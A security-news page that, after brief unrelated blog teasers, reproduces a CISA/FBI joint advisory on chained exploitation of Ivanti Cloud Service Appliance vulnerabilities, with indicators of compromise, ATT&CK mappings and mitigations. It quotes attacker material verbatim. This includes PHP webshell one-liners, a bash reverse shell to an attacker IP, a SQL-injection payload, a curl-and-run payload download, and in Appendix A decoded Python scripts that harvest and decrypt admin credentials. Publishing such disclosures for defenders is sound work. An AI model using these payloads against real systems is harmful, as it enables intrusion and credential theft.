I found a Python script that implements a funny anti-analysis trick. The script has a low score on VT (4/59) (SHA256:d716c2edbcdb76c6a6d31b21f154fee7e0f8613617078b69da69c8f4867c9534)[1]. This sample attracted my attention because it uses the tkinter[2] library. This library is used to create graphical user interfaces (GUIs). It provides tools to create windows, dialogs, buttons, labels, text fields, and other interactive elements, allowing developers to build desktop applications with visual interfaces in Python. Most Python scripts are intended to be executed from a command line. That's why I consider this library as a good sign of suspicious behavior (It does not mean that all Python scripts using this library are malicious!)
Category Archives: Security
DShield SIEM Docker Updates, (Thu, Feb 13th)
Over the past several weeks, I have been testing various enhancements to the DShield SIEM, to process DShield sensor log from local and cloud sensors with Filebeat and Filebeat modules to easily send Zeek and NetFlow logs back to a local network ELK stack via home router natting. This is a list of updates and enhancements:
An ontology for threats, cybercrime and digital forensic investigation on Smart City Infrastructure, (Wed, Feb 12th)
Blue teams have it hard – they maintain a watchful eye on whatever technology is deployed to detect threats, respond to incidents, perform digital forensics and reverse malware (or make malware happy!) when needed. Hopefully, no one has to handle all these roles alone since there is also the continuous learning aspect of getting up to speed with the latest threat vectors, vulnerabilities and exploit techniques. Adversaries only need one attack to succeed to gain actions on objective. In contrast, defenders have to detect and stop every attack to prevent adversaries from being successful. Let’s now extrapolate to an even bigger problem – what if this happens on emerging/future technologies and adversaries can get away with such crimes?
Crypto Wallet Scam: Not For Free, (Sat, Feb 8th)
Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications
Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.
Summary
The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.
According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.
All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]
Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Download the PDF version of this report:
For a downloadable copy of IOCs, see:
Technical Details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]
- CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
- CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
- CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]
According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.
According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.
Exploit Chain 1
The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody
user [T1564.002], the threat actors first sent a GET
request to datetime.php
to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php
[T1071.001]. They followed this in quick succession with a POST
request to the same endpoint, using the TIMEZONE
input field to manipulate the setSystemTimeZone
function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.
In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6}
located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.
After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET
request to /gsb/reports[.]php
. They immediately followed this with a POST
request using the TW_ID
input field to execute code to implant webshells for persistence [T1505.003].
In one confirmed compromise, the threat actors tried to create webshells using two different paths:
echo "<?php system(@
$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php
echo "<?php system('/bin/sudo '. @
$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php
In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1
.
In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo
commands to disable the vulnerability in DateTimeTab.php
, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo
commands used.
Lateral Movement
In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].
Exploit Chain 2
In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php
for initial access.
After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET
and POST
requests in quick succession to /client/index.php%3F.php/gsb/broker.php
. In the POST
body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10)
. The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info
table.
After inserting valid bash code as a user in the user_info
table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k
as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.
Detection of Activity
According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.
Victim Organization 1
The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.
Victim Organization 2
This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.
Victim Organization 3
This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.
Indicators of Compromise
See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.
Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.
File Name | IP Address | Description |
---|---|---|
“/client/index.php%3f.php/gsb/datetime.php | 142.171.217[.]195 | /var/log/messages |
“/client/index.php%3f.php/gsb/datetime.php | 154.64.226[.]166 | /var/log/messages-20240904.gz |
“/client/index.php%3f.php/gsb/datetime.php | 216.131.75[.]53 | |
“/client/index.php%3f.php/gsb/datetime.php | 23.236.66[.]97 | /var/log/messages-20240905.gz |
“/client/index.php%3f.php/gsb/datetime.php | 38.207.159[.]76 | /var/log/messages-20240906.gz |
File Name | IP Address | Description |
---|---|---|
149.154.167[.]41 | ||
95.161.76[.]100 | ||
hxxps://file.io/E50vtqmJP5aa | ||
hxxps://file.io/RBKuU8gicWt | ||
hxxps://file.io/frdZ9L18R7Nx | ||
hxxp://ip.sb | ||
hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis |
||
142.171.217[.]195 | ||
108.174.199[.]200 | ||
206.189.156[.]69 | ||
108.174.199[.]200/Xa27efd2.tmp | ||
142.171.217[.]195 |
Type | IOC | Description |
---|---|---|
Ipv4 | 107.173.89[.]16 | |
Ipv4 | 38.207.159[.]76 | |
Ipv4 | 142.171.217[.]195 | |
Ipv4 | 154.64.226[.]166 | |
Ipv4 | 156.234.193[.]18 | |
Ipv4 | 216.131.75[.]53 | |
Ipv4 | 205.169.39[.]11 | |
Ipv4 | 23.236.66[.]97 | |
Ipv4 | 149.154.176[.]41 | |
Ipv4 | 95.161.76[.]100 | |
Ipv4 | 142.171.217[.]195 | |
Ipv4 | 108.174.199[.]200 | |
Ipv4 | 206.189.156[.]69 | |
Ipv4 | 142.171.217[.]195 | |
Ipv4 | 67.217.228[.]83 | |
Ipv4 | 203.160.72[.]174 | |
Ipv4 | 142.11.217[.]3 | |
Ipv4 | 104.168.133[.]228 | |
Ipv4 | 64.176.49[.]160 | |
Ipv4 | 45.141.215[.]17 | |
Ipv4 | 142.171.217[.]195 | |
Ipv4 | 98.101.25[.]30 | |
Ipv4 | 216.131.75[.]53 | |
Ipv4 | 134.195.90[.]71 | |
Ipv4 | 23.236.66[.]97 | |
Hash | a50660fb31df96b3328640fdfbeea755 | |
Hash | 53c5b7d124f13039eb62409e1ec2089d | |
Hash | 698a752ec1ca43237cb1dc791700afde | |
Hash | aa69300617faab4eb39b789ebfeb5abe | |
Hash | c2becc553b96ba27d60265d07ec3bd6c | |
Hash | cacc30e2a5b2683e19e45dc4f191cebc | /opt/ivanti/csa/broker/webroot/client/help.php |
Hash | 061e5946c9595e560d64d5a8c65be49e | /opt/landesk/broker/webroot/gsb/view.php |
Hash |
e35cf026057a3729387b7ecfb213ae 62a611f0f1a418876b11c9df3b56885bed |
/tmp/brokerdebug |
Hash | c7d20ca6fe596009afaeb725fec8635f | /opt/landesk/broker/webroot/gsb/help.php |
Hash | F7F81AE880A17975F60E1E0FE1A4048B | /opt/landesk/broker/webroot/gsb/DateTimeTab.php |
Hash | 86B62FFD33597FD635E01B95F08BB996 | /opt/landesk/broker/webroot/gsb/style.php |
Hash | DD975310201079CACD4CDE6FACAB8C1D | /opt/landesk/broker/webroot/client/index.php |
Hash | 1B20E9310CA815F9E2BD366FB94E147F |
/sbin/systemd Configuration file at /WpService.conf |
Hash | 30f57e14596f1bcad7cc4284d1af4684 |
/sbin/systemd Configuration file at /WpService.conf |
URL | hxxps://file.io/E50vtqmJP5aa | |
URL | hxxps://file.io/RBKuU8gicWt | |
URL | hxxps://file.io/frdZ9L18R7Nx | |
URL | hxxp://ip.sb | |
URL |
hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis |
|
URL | 108.174.199.200/Xa27efd2.tmp | |
URL | 45.33.101.53/log | |
URL | 45.33.101.53/log2 | |
URL | 208.184.237.75/fdsupdate | |
URL | 173.243.138.76/fdsupdate | |
URL | cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun | |
URL | cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun | |
domain | gg.oyr2ohrm.eyes[.]sh | |
domain | ggg.oyr2ohrm.eyes[.]sh | |
domain | gggg.oyr2ohrm.eyes[.]sh | |
domain | txt.xj[.]hk | |
domain | book.hacktricks[.]xyz | |
host | sh -c setsid /dev/shm/redis & | |
host |
sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o /dev/shm/redis2 |
|
host | sh -c mv /dev/shm/redis2 /dev/shm/redis | |
host | sh -c rm /dev/shm/* | |
host | rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis | |
host | 78cc672218949a9ec87407ad3bcb5db6 | Agent.zip |
host | d13f71e51b38ffef6b9dc8efbed27615 | Log.log |
host | d88bfac2b43509abdc70308bef75e2a6 | Log.exe |
host | R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3) | R.exe |
host | ae51c891d2e895b5ca919d14edd42c26 | CAService.exe |
host | d88bfac2b43509abdc70308bef75e2a6 | Lgfxsys.exe |
host | f82847bccb621e6822a3947bc9ce9621 | NetlO.cfg |
host | c894f55c8fa9d92e2dd2c78172cff745 | XboVFyKw.tmp |
host | MD5: Unknown | Wi.bat |
host | MD5: Unknown | dCUgGXfm.tmp |
host | MD5: Unknown | DijZViHC.tmp |
CrowdStrike Falcon | e09fef2f502a41c199046219a6584e8d | CrowdStrike falcon cid |
/var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf | |
/var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini | |
/var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock –localtime –systohc | |
/var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool –fullList | |
Ipv4 | 142.171.217[.]195 | |
Ipv4 | 107.173.89[.]16 | |
Ipv4 | 192.42.116[.]210 | |
Ipv4 | 82.197.182[.]161 | |
Ipv4 | 154.213.185[.]230 | |
Ipv4 | 216.131.75[.]53 | |
Ipv4 | 23.236.66[.]97 | |
Ipv4 | 208.105.190[.]170 | |
Ipv4 | 136.144.17[.]145 | |
Ipv4 | 136.144.17[.]133 | |
Ipv4 | 216.73.162[.]56 | |
Ipv4 | 104.28.240[.]123 | |
Ipv4 | 163.5.171[.]49 | |
Ipv4 | 89.187.178[.]179 | |
Ipv4 | 163.5.171[.]49 | |
Ipv4 | 203.160.86[.]69 | |
Ipv4 | 185.220.69[.]83 | |
Ipv4 | 185.199.103[.]196 | |
Ipv4 | 188.172.229[.]15 | |
Ipv4 | 155.138.215[.]144 | |
Ipv4 | 64.176.49[.]160 | |
Ipv4 | 185.40.4[.]38 | |
Ipv4 | 216.131[.]75.53 | |
Ipv4 | 185.40.4[.]95 |
MITRE ATT&CK Tactics and Techniques
See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Technique Title | ID | Use |
---|---|---|
Active Scanning: Vulnerability Scanning | T1595.002 | Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities. |
Technique Title | ID | Use |
---|---|---|
Exploit Public-Facing Application | T1190 | Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications. |
Technique Title | ID | Use |
---|---|---|
Command and Scripting Interpreter | T1059 | Threat actors abused command and script interpreters to execute commands, scripts, or binaries. |
Technique Title | ID | Use |
---|---|---|
Modify Authentication Process | T1556 | Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations’ networks. |
Server Software Component: Web Shell | T1505.003 | Threat actors executed code to implant webshells for persistence. |
Technique Title | ID | Use |
---|---|---|
Exploitation for Privilege Escalation | T1068 | Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server. |
Technique Title | ID | Use |
---|---|---|
Hide Artifacts: Hidden Users | T1564.002 | Threat actors acted as a hidden user to disguise their presence on a system. |
Deobfuscate/Decode Files or Information | T1140 | Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file. |
Abuse Elevation Control Mechanism: Sudo and Sudo Caching | T1548.003 | Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation. |
Technique Title | ID | Use |
---|---|---|
Unsecured Credentials: Credentials in Files | T1552.001 | Threat actors harvested encrypted admin credentials to gain further access. |
Technique Title | ID | Use |
---|---|---|
Exploitation of Remove Services | T1210 | Threat actors exploited CSAs via remote services to gain access to an organization’s networks by leveraging programming errors, EOL systems, and operating systems. |
Technique Title | ID | Use |
---|---|---|
Remote Access Software | T1219 | Threat actors attempted to remotely authenticate into a victim’s network and execute arbitrary commands on the appliance. |
Application Layer: Web Protocol | T1071.001 | Threat actors used tools such as GET or POST requests to acquire session and CSRF tokens. |
Technique Title | ID | Use |
---|---|---|
Exfiltration | TA0010 | Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use. |
Incident Response
If compromise is detected, the authoring agencies recommend that organizations:
- Quarantine or take offline potentially affected hosts.
- Reimage compromised hosts.
- Provision new account credentials.
- For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
- Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms. - Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
Mitigations
CISA and FBI recommend organizations:
- Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
- Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
- Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
- Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
- Secure remote access tools by:
- Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
- Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
- Audit the network for systems using RDP.
- Close unused RDP ports.
- Enforce account lockouts after a specified number of attempts.
- Apply phishing-resistant multifactor authentication (MFA).
- Log RDP login attempts.
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
- Follow best cybersecurity practices in your production and enterprise environments,including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).
Validate Security Controls
In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
- Select an ATT&CK technique described in this advisory (see Table 4 through Table 13).
- Align your security technologies against the technique.
- Test your technologies against the technique.
- Analyze your detection and prevention technologies’ performance.
- Repeat the process for all security technologies to obtain a set of comprehensive performance data.
- Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
References
- Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
- Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)
- Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
- Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA
Contact Information
Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:
- CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.
Version History
January 22, 2025: Initial version.
Appendix A: Encoded and Decoded Scripts
Decoded Python Scripts
{ import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin” | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) } |
{ import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’service'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’service” | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) } |
import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) |
import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) |
{ with open(“/opt/landesk/broker/broker.conf”) as f: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip() |
{ def set_msg(p, t=”, m=”): os.chdir(“/tmp”) |
{ import os, re, base64, time os.chdir(“/tmp”) d = “/backups” def set_msg(p, t=”, m=”): if t and m: msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode()) else: msg = ” os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg)) try: r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except: r = None with open(“/opt/landesk/broker/broker.conf”) as f: dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0] os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd)) if r: p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’) os.system(“tar zxvf {}”.format(r)) while True: for f in os.listdir(‘.’): if re.match(“phpw{6}”, f): os.chmod(f, 0o777) m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip() if m: set_msg(dbpwd, “PASSWORD”, m) time.sleep(30) set_msg(dbpwd) exit() else: set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) } |
Decoded datetime.php ‘timezone’ Exploit base64 Scripts
